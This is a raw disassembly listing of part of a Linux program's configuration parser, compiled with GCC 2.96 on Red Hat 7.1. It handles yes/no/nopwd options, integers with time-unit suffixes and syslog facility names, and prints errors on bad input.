08051705   e8 02 8b ff ff       call     0804a20c <getuid>
0805170a   59                   pop      %ecx
0805170b   5f                   pop      %edi
0805170c   50                   push     %eax
0805170d   53                   push     %ebx
0805170e   e8 6d 0a 00 00       call     08052180 <Unknown0064>
08051713   89 06                mov      %eax,(%esi)
08051715   83 c4 10             add      $0x10,%esp
08051718   e9 eb 09 00 00       jmp      08052108 <Unknown0063+0xcc4>  ;2539 'xeb x9 x0 x0' ""
0805171d   8d 76 00             lea      0x0(%esi),%esi
08051720   8b 75 08             mov      0x8(%ebp),%esi
08051723   83 c6 0c             add      $0xc,%esi
08051726   eb 92                jmp      080516ba <Unknown0063+0x276>
08051728   8b 75 08             mov      0x8(%ebp),%esi
0805172b   83 c6 10             add      $0x10,%esi
0805172e   eb 8a                jmp      080516ba <Unknown0063+0x276>
08051730   83 ec 08             sub      $0x8,%esp
08051733   68 ac ef 06 08       push     $0x806efac   ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08051738   6a 00                push     $0x0
0805173a   e8 cd 8c ff ff       call     0804a40c <strtok>
0805173f   89 c3                mov      %eax,%ebx
08051741   83 c4 10             add      $0x10,%esp
08051744   85 db                test     %ebx,%ebx
08051746   75 28                jne      08051770 <Unknown0063+0x32c>
08051748   ff b5 e0 fb ff ff    pushl    0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
0805174e   ff 75 0c             pushl    0xc(%ebp)
```

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08051751  68 40 f0 06 08        push    $0x806f040   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                          missing yes/nopwd/no argument."
08051756  ff 35 0c 9c 07 08     pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0805175c  e8 9b 85 ff ff        call    08049cfc <fprintf>
08051761  c7 04 24 01 00 00 00  movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
08051768  e8 df 8b ff ff        call    0804a34c <exit>
0805176d  8d 76 00              lea     0x0(%esi),%esi
08051770  31 f6                 xor     %esi,%esi
08051772  80 3b 00              cmpb    $0x0,(%ebx)
08051775  74 18                 je      0805178f <Unknown0063+0x34b>
08051777  90                    nop
08051778  0f be 04 1e           movsbl  (%esi,%ebx,1),%eax
0805177c  8b 15 00 9c 07 08     mov     0x8079c00,%edx   ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
08051782  8b 04 82              mov     (%edx,%eax,4),%eax
08051785  88 04 1e              mov     %al,(%esi,%ebx,1)
08051788  46                    inc     %esi
08051789  80 3c 1e 00           cmpb    $0x0,(%esi,%ebx,1)
0805178d  75 e9                 jne     08051778 <Unknown0063+0x334>
0805178f  0f b6 03              movzbl  (%ebx),%eax
08051792  83 e8 79              sub     $0x79,%eax
08051795  75 16                 jne     080517ad <Unknown0063+0x369>
08051797  0f b6 43 01           movzbl  0x1(%ebx),%eax
0805179b  83 e8 65              sub     $0x65,%eax
0805179e  75 0d                 jne     080517ad <Unknown0063+0x369>
080517a0  0f b6 43 02           movzbl  0x2(%ebx),%eax
080517a4  83 e8 73              sub     $0x73,%eax
080517a7  75 04                 jne     080517ad <Unknown0063+0x369>
080517a9  0f b6 43 03           movzbl  0x3(%ebx),%eax
080517ad  85 c0                 test    %eax,%eax
080517af  be 02 00 00 00        mov     $0x2,%esi   ;2 'x2 x0 x0 x0' ""
080517b4  74 62                 je      08051818 <Unknown0063+0x3d4>
080517b6  89 de                 mov     %ebx,%esi
080517b8  bf 70 f0 06 08        mov     $0x806f070,%edi   ;[in .rodata] 2003857262 'x6e x6f x70 x77' "nopwd"
080517bd  b9 06 00 00 00        mov     $0x6,%ecx   ;6 'x6 x0 x0 x0' ""
080517c2  fc                    cld
080517c3  f3 a6                 repz cmpsb %es:(%edi),%ds:(%esi)
080517c5  0f 97 c2              seta    %dl
080517c8  0f 92 c0              setb    %al
080517cb  38 c2                 cmp     %al,%dl
080517cd  be 01 00 00 00        mov     $0x1,%esi   ;1 'x1 x0 x0 x0' ""
080517d2  74 44                 je      08051818 <Unknown0063+0x3d4>
080517d4  0f b6 03              movzbl  (%ebx),%eax
080517d7  83 e8 6e              sub     $0x6e,%eax
080517da  75 0d                 jne     080517e9 <Unknown0063+0x3a5>
080517dc  0f b6 43 01           movzbl  0x1(%ebx),%eax
080517e0  83 e8 6f              sub     $0x6f,%eax
080517e3  75 04                 jne     080517e9 <Unknown0063+0x3a5>
080517e5  0f b6 43 02           movzbl  0x2(%ebx),%eax
080517e9  31 f6                 xor     %esi,%esi
080517eb  85 c0                 test    %eax,%eax
080517ed  74 29                 je      08051818 <Unknown0063+0x3d4>
080517ef  83 ec 0c              sub     $0xc,%esp
080517f2  53                    push    %ebx
080517f3  ff b5 e0 fb ff ff     pushl   0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
080517f9  ff 75 0c              pushl   0xc(%ebp)
080517fc  68 80 f0 06 08        push    $0x806f080   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                          Bad yes/nopwd/no argument: %s"
08051801  ff 35 0c 9c 07 08     pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
08051807  e8 f0 84 ff ff        call    08049cfc <fprintf>
0805180c  83 c4 14              add     $0x14,%esp
0805180f  6a 01                 push    $0x1
08051811  e8 36 8b ff ff        call    0804a34c <exit>
08051816  89 f6                 mov     %esi,%esi
08051818  8b 4d 08              mov     0x8(%ebp),%ecx
0805181b  83 79 20 ff           cmpl    $0xffffffff,0x20(%ecx)
0805181f  0f 85 e3 08 00 00     jne     08052108 <Unknown0063+0xcc4>   ;2275 'xe3 x8 x0 x0' ""
08051825  89 71 20              mov     %esi,0x20(%ecx)
08051828  e9 db 08 00 00        jmp     08052108 <Unknown0063+0xcc4>   ;2267 'xdb x8 x0 x0' ""
0805182d  8d 76 00              lea     0x0(%esi),%esi
08051830  83 ec 08              sub     $0x8,%esp
08051833  68 ac ef 06 08        push    $0x806efac   ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08051838  6a 00                 push    $0x0
0805183a  e8 cd 8b ff ff        call    0804a40c <strtok>
0805183f  89 c3                 mov     %eax,%ebx
08051841  83 c4 10              add     $0x10,%esp
08051844  85 db                 test    %ebx,%ebx
08051846  75 28                 jne     08051870 <Unknown0063+0x42c>
08051848  ff b5 e0 fb ff ff     pushl   0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
0805184e  ff 75 0c              pushl   0xc(%ebp)
08051851  68 c0 f0 06 08        push    $0x806f0c0   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                          missing yes/no argument."
08051856  ff 35 0c 9c 07 08     pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
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(Red Hat Linux 7.1 2.96-79)"

```
0805185c   e8 9b 84 ff ff          call     08049cfc <fprintf>
08051861   c7 04 24 01 00 00 00     movl     $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
08051868   e8 df 8a ff ff          call     0804a34c <exit>
0805186d   8d 76 00                lea      0x0(%esi),%esi
08051870   31 f6                   xor      %esi,%esi
08051872   80 3b 00                cmpb     $0x0,(%ebx)
08051875   74 18                   je       0805188f <Unknown0063+0x44b>
08051877   90                      nop
08051878   0f be 04 1e             movsbl   (%esi,%ebx,1),%eax
0805187c   8b 15 00 9c 07 08       mov      0x8079c00,%edx   ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
08051882   8b 04 82                mov      (%edx,%eax,4),%eax
08051885   88 04 1e                mov      %al,(%esi,%ebx,1)
08051888   46                      inc      %esi
08051889   80 3c 1e 00             cmpb     $0x0,(%esi,%ebx,1)
0805188d   75 e9                   jne      08051878 <Unknown0063+0x434>
0805188f   0f b6 03                movzbl   (%ebx),%eax
08051892   83 e8 79                sub      $0x79,%eax
08051895   75 16                   jne      080518ad <Unknown0063+0x469>
08051897   0f b6 43 01             movzbl   0x1(%ebx),%eax
0805189b   83 e8 65                sub      $0x65,%eax
0805189e   75 0d                   jne      080518ad <Unknown0063+0x469>
080518a0   0f b6 43 02             movzbl   0x2(%ebx),%eax
080518a4   83 e8 73                sub      $0x73,%eax
080518a7   75 04                   jne      080518ad <Unknown0063+0x469>
080518a9   0f b6 43 03             movzbl   0x3(%ebx),%eax
080518ad   85 c0                   test     %eax,%eax
080518af   74 1b                   je       080518cc <Unknown0063+0x488>
080518b1   b8 e6 f0 06 08          mov      $0x806f0e6,%eax   ;[in .rodata] 1702195828 'x74 x72 x75 x65' "true"
080518b6   89 c7                   mov      %eax,%edi
080518b8   89 de                   mov      %ebx,%esi
080518ba   b9 05 00 00 00          mov      $0x5,%ecx   ;5 'x5 x0 x0 x0' ""
080518bf   fc                      cld
080518c0   f3 a6                   repz cmpsb %es:(%edi),%ds:(%esi)
080518c2   0f 97 c2                seta     %dl
080518c5   0f 92 c0                setb     %al
080518c8   38 c2                   cmp      %al,%dl
080518ca   75 08                   jne      080518d4 <Unknown0063+0x490>
080518cc   be 01 00 00 00          mov      $0x1,%esi   ;1 'x1 x0 x0 x0' ""
080518d1   eb 61                   jmp      08051934 <Unknown0063+0x4f0>
080518d3   90                      nop
080518d4   0f b6 03                movzbl   (%ebx),%eax
080518d7   83 e8 6e                sub      $0x6e,%eax
080518da   75 0d                   jne      080518e9 <Unknown0063+0x4a5>
080518dc   0f b6 43 01             movzbl   0x1(%ebx),%eax
080518e0   83 e8 6f                sub      $0x6f,%eax
080518e3   75 04                   jne      080518e9 <Unknown0063+0x4a5>
080518e5   0f b6 43 02             movzbl   0x2(%ebx),%eax
080518e9   85 c0                   test     %eax,%eax
080518eb   74 1b                   je       08051908 <Unknown0063+0x4c4>
080518ed   b8 eb f0 06 08          mov      $0x806f0eb,%eax   ;[in .rodata] 1936482662 'x66 x61 x6c x73' "false"
080518f2   89 c7                   mov      %eax,%edi
080518f4   89 de                   mov      %ebx,%esi
080518f6   b9 06 00 00 00          mov      $0x6,%ecx   ;6 'x6 x0 x0 x0' ""
080518fb   fc                      cld
080518fc   f3 a6                   repz cmpsb %es:(%edi),%ds:(%esi)
080518fe   0f 97 c2                seta     %dl
08051901   0f 92 c0                setb     %al
08051904   38 c2                   cmp      %al,%dl
08051906   75 04                   jne      0805190c <Unknown0063+0x4c8>
08051908   31 f6                   xor      %esi,%esi
0805190a   eb 28                   jmp      08051934 <Unknown0063+0x4f0>
0805190c   83 ec 0c                sub      $0xc,%esp
0805190f   53                      push     %ebx
08051910   ff b5 e0 fb ff ff       pushl    0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
08051916   ff 75 0c                pushl    0xc(%ebp)
08051919   68 00 f1 06 08          push     $0x806f100   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                                Bad yes/no argument: %s"
0805191e   ff 35 0c 9c 07 08       pushl    0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                                (Red Hat Linux 7.1 2.96-79)"
08051924   e8 d3 83 ff ff          call     08049cfc <fprintf>
08051929   83 c4 14                add      $0x14,%esp
0805192c   6a 01                   push     $0x1
0805192e   e8 19 8a ff ff          call     0804a34c <exit>
08051933   90                      nop
08051934   8b 85 d4 fb ff ff       mov      0xfffffbd4(%ebp),%eax   ;-1068 'xd4 xfb xff xff' ""
0805193a   83 38 ff                cmpl     $0xffffffff,(%eax)
0805193d   0f 85 c5 07 00 00       jne      08052108 <Unknown0063+0xcc4>   ;1989 'xc5 x7 x0 x0' ""
08051943   89 30                   mov      %esi,(%eax)
08051945   e9 be 07 00 00          jmp      08052108 <Unknown0063+0xcc4>   ;1982 'xbe x7 x0 x0' ""
0805194a   89 f6                   mov      %esi,%esi
0805194c   8b 55 08                mov      0x8(%ebp),%edx
0805194f   83 c2 24                add      $0x24,%edx
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08051952   89 95 d4 fb ff ff     mov     %edx,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051958   e9 d3 fe ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-301 'xd3 xfe xff xff' ""
0805195d   8d 76 00              lea     0x0(%esi),%esi
08051960   8b 4d 08              mov     0x8(%ebp),%ecx
08051963   83 c1 28              add     $0x28,%ecx
08051966   89 8d d4 fb ff ff     mov     %ecx,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
0805196c   e9 bf fe ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-321 'xbf xfe xff xff' ""
08051971   8d 76 00              lea     0x0(%esi),%esi
08051974   8b 7d 08              mov     0x8(%ebp),%edi
08051977   83 c7 2c              add     $0x2c,%edi
0805197a   89 bd d4 fb ff ff     mov     %edi,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051980   e9 ab fe ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-341 'xab xfe xff xff' ""
08051985   8d 76 00              lea     0x0(%esi),%esi
08051988   8b 45 08              mov     0x8(%ebp),%eax
0805198b   83 c0 30              add     $0x30,%eax
0805198e   89 85 d4 fb ff ff     mov     %eax,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051994   e9 97 fe ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-361 'x97 xfe xff xff' ""
08051999   8d 76 00              lea     0x0(%esi),%esi
0805199c   8b 55 08              mov     0x8(%ebp),%edx
0805199f   83 c2 50              add     $0x50,%edx
080519a2   89 95 d4 fb ff ff     mov     %edx,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
080519a8   e9 83 fe ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-381 'x83 xfe xff xff' ""
080519ad   8d 76 00              lea     0x0(%esi),%esi
080519b0   8b 4d 08              mov     0x8(%ebp),%ecx
080519b3   83 c1 54              add     $0x54,%ecx
080519b6   89 8d d4 fb ff ff     mov     %ecx,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
080519bc   e9 6f fe ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-401 'x6f xfe xff xff' "o"
080519c1   8d 76 00              lea     0x0(%esi),%esi
080519c4   8b 7d 08              mov     0x8(%ebp),%edi
080519c7   83 c7 58              add     $0x58,%edi
080519ca   89 bd d4 fb ff ff     mov     %edi,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
080519d0   e9 5b fe ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-421 'x5b xfe xff xff' "["
080519d5   8d 76 00              lea     0x0(%esi),%esi
080519d8   8b 45 08              mov     0x8(%ebp),%eax
080519db   83 c0 5c              add     $0x5c,%eax
080519de   89 85 d4 fb ff ff     mov     %eax,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
080519e4   e9 47 fe ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-441 'x47 xfe xff xff' "G"
080519e9   8d 76 00              lea     0x0(%esi),%esi
080519ec   8b 55 08              mov     0x8(%ebp),%edx
080519ef   83 c2 60              add     $0x60,%edx
080519f2   89 95 d4 fb ff ff     mov     %edx,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
080519f8   e9 33 fe ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-461 'x33 xfe xff xff' "3"
080519fd   8d 76 00              lea     0x0(%esi),%esi
08051a00   8b 4d 08              mov     0x8(%ebp),%ecx
08051a03   83 c1 64              add     $0x64,%ecx
08051a06   89 8d d4 fb ff ff     mov     %ecx,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051a0c   e9 1f fe ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-481 'x1f xfe xff xff' ""
08051a11   8d 76 00              lea     0x0(%esi),%esi
08051a14   8b 7d 08              mov     0x8(%ebp),%edi
08051a17   83 c7 68              add     $0x68,%edi
08051a1a   89 bd d4 fb ff ff     mov     %edi,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051a20   e9 0b fe ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-501 'xb xfe xff xff' ""
08051a25   8d 76 00              lea     0x0(%esi),%esi
08051a28   8b 45 08              mov     0x8(%ebp),%eax
08051a2b   83 c0 6c              add     $0x6c,%eax
08051a2e   89 85 d4 fb ff ff     mov     %eax,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051a34   e9 f7 fd ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-521 'xf7 xfd xff xff' ""
08051a39   8d 76 00              lea     0x0(%esi),%esi
08051a3c   8b 55 08              mov     0x8(%ebp),%edx
08051a3f   83 c2 70              add     $0x70,%edx
08051a42   89 95 d4 fb ff ff     mov     %edx,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051a48   e9 e3 fd ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-541 'xe3 xfd xff xff' ""
08051a4d   8d 76 00              lea     0x0(%esi),%esi
08051a50   8b 4d 08              mov     0x8(%ebp),%ecx
08051a53   83 c1 78              add     $0x78,%ecx
08051a56   89 8d d4 fb ff ff     mov     %ecx,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051a5c   e9 cf fd ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-561 'xcf xfd xff xff' ""
08051a61   8d 76 00              lea     0x0(%esi),%esi
08051a64   8b 7d 08              mov     0x8(%ebp),%edi
08051a67   83 c7 34              add     $0x34,%edi
08051a6a   89 bd d4 fb ff ff     mov     %edi,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051a70   e9 bb fd ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-581 'xbb xfd xff xff' ""
08051a75   8d 76 00              lea     0x0(%esi),%esi
08051a78   8b 45 08              mov     0x8(%ebp),%eax
08051a7b   83 c0 38              add     $0x38,%eax
08051a7e   89 85 d4 fb ff ff     mov     %eax,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051a84   e9 a7 fd ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-601 'xa7 xfd xff xff' ""
08051a89   8d 76 00              lea     0x0(%esi),%esi
08051a8c   8b 55 08              mov     0x8(%ebp),%edx
08051a8f   83 c2 3c              add     $0x3c,%edx
08051a92   89 95 d4 fb ff ff     mov     %edx,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051a98   e9 7c fa ff ff        jmp     08051519 <Unknown0063+0xd5>  ;-1412 'x7c xfa xff xff' "|"
08051a9d   8d 76 00              lea     0x0(%esi),%esi
08051aa0   8b 4d 08              mov     0x8(%ebp),%ecx
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08051aa3  83 c1 40              add     $0x40,%ecx
08051aa6  89 8d d4 fb ff ff     mov     %ecx,0xfffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051aac  e9 7f fd ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-641 'x7f xfd xff xff' ""
08051ab1  8d 76 00              lea     0x0(%esi),%esi
08051ab4  8b 7d 08              mov     0x8(%ebp),%edi
08051ab7  83 c7 44              add     $0x44,%edi
08051aba  89 bd d4 fb ff ff     mov     %edi,0xfffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051ac0  e9 6b fd ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-661 'x6b xfd xff xff' "k"
08051ac5  8d 76 00              lea     0x0(%esi),%esi
08051ac8  8b 45 08              mov     0x8(%ebp),%eax
08051acb  83 c0 74              add     $0x74,%eax
08051ace  89 85 d4 fb ff ff     mov     %eax,0xfffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051ad4  e9 57 fd ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-681 'x57 xfd xff xff' "W"
08051ad9  8d 76 00              lea     0x0(%esi),%esi
08051adc  8b 55 08              mov     0x8(%ebp),%edx
08051adf  83 c2 7c              add     $0x7c,%edx
08051ae2  89 95 d4 fb ff ff     mov     %edx,0xfffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051ae8  e9 43 fd ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-701 'x43 xfd xff xff' "C"
08051aed  8d 76 00              lea     0x0(%esi),%esi
08051af0  8b 4d 08              mov     0x8(%ebp),%ecx
08051af3  81 c1 84 00 00 00     add     $0x84,%ecx   ;132 'x84 x0 x0 x0' ""
08051af9  89 8d d4 fb ff ff     mov     %ecx,0xfffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051aff  e9 2c fd ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-724 'x2c xfd xff xff' ","
08051b04  8b 7d 08              mov     0x8(%ebp),%edi
08051b07  83 ef 80              sub     $0xffffff80,%edi
08051b0a  89 bd d4 fb ff ff     mov     %edi,0xfffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
08051b10  e9 1b fd ff ff        jmp     08051830 <Unknown0063+0x3ec>  ;-741 'x1b xfd xff xff' ""
08051b15  8d 76 00              lea     0x0(%esi),%esi
08051b18  8b 45 08              mov     0x8(%ebp),%eax
08051b1b  05 88 00 00 00        add     $0x88,%eax   ;136 'x88 x0 x0 x0' ""
08051b20  e9 ee f9 ff ff        jmp     08051513 <Unknown0063+0xcf>  ;-1554 'xee xf9 xff xff' ""
08051b25  8d 76 00              lea     0x0(%esi),%esi
08051b28  83 ec 08              sub     $0x8,%esp
08051b2b  68 ac ef 06 08        push    $0x806efac  ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08051b30  6a 00                 push    $0x0
08051b32  e8 d5 88 ff ff        call    0804a40c <strtok>
08051b37  89 c3                 mov     %eax,%ebx
08051b39  83 c4 10              add     $0x10,%esp
08051b3c  85 db                 test    %ebx,%ebx
08051b3e  75 28                 jne     08051b68 <Unknown0063+0x724>
08051b40  ff b5 e0 fb ff ff     pushl   0xfffffbe0(%ebp)  ;-1056 'xe0 xfb xff xff' ""
08051b46  ff 75 0c              pushl   0xc(%ebp)
08051b49  68 c0 ef 06 08        push    $0x806efc0  ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                               missing integer value."
08051b4e  ff 35 0c 9c 07 08     pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                               (Red Hat Linux 7.1 2.96-79)"
08051b54  e8 a3 81 ff ff        call    08049cfc <fprintf>
08051b59  c7 04 24 01 00 00 00  movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
08051b60  e8 e7 87 ff ff        call    0804a34c <exit>
08051b65  8d 76 00              lea     0x0(%esi),%esi
08051b68  0f be 13              movsbl  (%ebx),%edx
08051b6b  8b 3d 10 9c 07 08     mov     0x8079c10,%edi  ;[in .bss] 808464928 'x20 x32 x30 x30' " 20000731
                                                               (Red Hat Linux 7.1 2.96-79)"
08051b71  31 f6                 xor     %esi,%esi
08051b73  f6 44 57 01 08        testb   $0x8,0x1(%edi,%edx,2)
08051b78  89 d1                 mov     %edx,%ecx
08051b7a  74 18                 je      08051b94 <Unknown0063+0x750>
08051b7c  43                    inc     %ebx
08051b7d  0f be 13              movsbl  (%ebx),%edx
08051b80  8d 04 b6              lea     (%esi,%esi,4),%eax
08051b83  f6 44 57 01 08        testb   $0x8,0x1(%edi,%edx,2)
08051b88  8d 74 41 d0           lea     0xffffffd0(%ecx,%eax,2),%esi
08051b8c  89 d1                 mov     %edx,%ecx
08051b8e  0f 85 e8 ff ff ff     jne     08051b7c <Unknown0063+0x738>  ;-24 'xe8 xff xff xff' ""
08051b94  a1 00 9c 07 08        mov     0x8079c00,%eax  ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
08051b99  8b 04 90              mov     (%eax,%edx,4),%eax
08051b9c  3c 77                 cmp     $0x77,%al
08051b9e  88 03                 mov     %al,(%ebx)
08051ba0  75 16                 jne     08051bb8 <Unknown0063+0x774>
08051ba2  8d 04 f6              lea     (%esi,%esi,8),%eax
08051ba5  8d 04 86              lea     (%esi,%eax,4),%eax
08051ba8  8d 04 46              lea     (%esi,%eax,2),%eax
08051bab  89 c6                 mov     %eax,%esi
08051bad  c1 e6 06              shl     $0x6,%esi
08051bb0  29 c6                 sub     %eax,%esi
08051bb2  c1 e6 07              shl     $0x7,%esi
08051bb5  eb 46                 jmp     08051bfd <Unknown0063+0x7b9>
08051bb7  90                    nop
08051bb8  3c 64                 cmp     $0x64,%al
08051bba  75 18                 jne     08051bd4 <Unknown0063+0x790>
08051bbc  8d 04 b6              lea     (%esi,%esi,4),%eax
08051bbf  8d 04 86              lea     (%esi,%eax,4),%eax
08051bc2  8d 04 c6              lea     (%esi,%eax,8),%eax
08051bc5  c1 e0 02              shl     $0x2,%eax
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08051bc8   29 f0                     sub     %esi,%eax
08051bca   89 c6                     mov     %eax,%esi
08051bcc   c1 e6 07                  shl     $0x7,%esi
08051bcf   eb 2c                     jmp     08051bfd <Unknown0063+0x7b9>
08051bd1   8d 76 00                  lea     0x0(%esi),%esi
08051bd4   3c 68                     cmp     $0x68,%al
08051bd6   75 14                     jne     08051bec <Unknown0063+0x7a8>
08051bd8   8d 04 f5 00 00 00 00      lea     0x0(,%esi,8),%eax   ;0 'x0 x0 x0 x0' ""
08051bdf   29 f0                     sub     %esi,%eax
08051be1   c1 e0 05                  shl     $0x5,%eax
08051be4   8d 34 06                  lea     (%esi,%eax,1),%esi
08051be7   c1 e6 04                  shl     $0x4,%esi
08051bea   eb 11                     jmp     08051bfd <Unknown0063+0x7b9>
08051bec   3c 6d                     cmp     $0x6d,%al
08051bee   75 0d                     jne     08051bfd <Unknown0063+0x7b9>
08051bf0   8d 04 76                  lea     (%esi,%esi,2),%eax
08051bf3   8d 04 80                  lea     (%eax,%eax,4),%eax
08051bf6   8d 34 85 00 00 00 00      lea     0x0(,%eax,4),%esi   ;0 'x0 x0 x0 x0' ""
08051bfd   8b 55 08                  mov     0x8(%ebp),%edx
08051c00   89 72 48                  mov     %esi,0x48(%edx)
08051c03   e9 00 05 00 00            jmp     08052108 <Unknown0063+0xcc4>  ;1280 'x0 x5 x0 x0' ""
08051c08   83 ec 08                  sub     $0x8,%esp
08051c0b   68 ac ef 06 08            push    $0x806efac   ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08051c10   6a 00                     push    $0x0
08051c12   e8 f5 87 ff ff            call    0804a40c <strtok>
08051c17   89 c3                     mov     %eax,%ebx
08051c19   83 c4 10                  add     $0x10,%esp
08051c1c   85 db                     test    %ebx,%ebx
08051c1e   75 28                     jne     08051c48 <Unknown0063+0x804>
08051c20   ff b5 e0 fb ff ff         pushl   0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
08051c26   ff 75 0c                  pushl   0xc(%ebp)
08051c29   68 40 f1 06 08            push    $0x806f140   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                            missing facility name."
08051c2e   ff 35 0c 9c 07 08         pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                            (Red Hat Linux 7.1 2.96-79)"
08051c34   e8 c3 80 ff ff            call    08049cfc <fprintf>
08051c39   c7 04 24 01 00 00 00      movl    $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
08051c40   e8 07 87 ff ff            call    0804a34c <exit>
08051c45   8d 76 00                  lea     0x0(%esi),%esi
08051c48   31 f6                     xor     %esi,%esi
08051c4a   80 3b 00                  cmpb    $0x0,(%ebx)
08051c4d   74 1c                     je      08051c6b <Unknown0063+0x827>
08051c4f   90                        nop
08051c50   0f be 04 1e               movsbl  (%esi,%ebx,1),%eax
08051c54   8b 15 00 9c 07 08         mov     0x8079c00,%edx   ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
08051c5a   8b 04 82                  mov     (%edx,%eax,4),%eax
08051c5d   88 04 1e                  mov     %al,(%esi,%ebx,1)
08051c60   46                        inc     %esi
08051c61   80 3c 1e 00               cmpb    $0x0,(%esi,%ebx,1)
08051c65   0f 85 e5 ff ff ff         jne     08051c50 <Unknown0063+0x80c>   ;-27 'xe5 xff xff xff' ""
08051c6b   8b 15 98 7d 07 08         mov     0x8077d98,%edx   ;[in .data] 134672222 'x5e xef x6 x8' "^"
08051c71   31 f6                     xor     %esi,%esi
08051c73   85 d2                     test    %edx,%edx
08051c75   74 2d                     je      08051ca4 <Unknown0063+0x860>
08051c77   31 ff                     xor     %edi,%edi
08051c79   8d 76 00                  lea     0x0(%esi),%esi
08051c7c   83 ec 08                  sub     $0x8,%esp
08051c7f   53                        push    %ebx
08051c80   ff b7 98 7d 07 08         pushl   0x8077d98(%edi)   ;[in .data] 134672222 'x5e xef x6 x8' "^"
08051c86   e8 41 80 ff ff            call    08049ccc <strcmp>
08051c8b   83 c4 10                  add     $0x10,%esp
08051c8e   85 c0                     test    %eax,%eax
08051c90   74 12                     je      08051ca4 <Unknown0063+0x860>
08051c92   83 c7 08                  add     $0x8,%edi
08051c95   8b 87 98 7d 07 08         mov     0x8077d98(%edi),%eax   ;[in .data] 134672222 'x5e xef x6 x8' "^"
08051c9b   46                        inc     %esi
08051c9c   85 c0                     test    %eax,%eax
08051c9e   0f 85 d8 ff ff ff         jne     08051c7c <Unknown0063+0x838>   ;-40 'xd8 xff xff xff' ""
08051ca4   8d 04 f5 00 00 00 00      lea     0x0(,%esi,8),%eax   ;0 'x0 x0 x0 x0' ""
08051cab   8b b8 98 7d 07 08         mov     0x8077d98(%eax),%edi   ;[in .data] 134672222 'x5e xef x6 x8' "^"
08051cb1   85 ff                     test    %edi,%edi
08051cb3   75 27                     jne     08051cdc <Unknown0063+0x898>
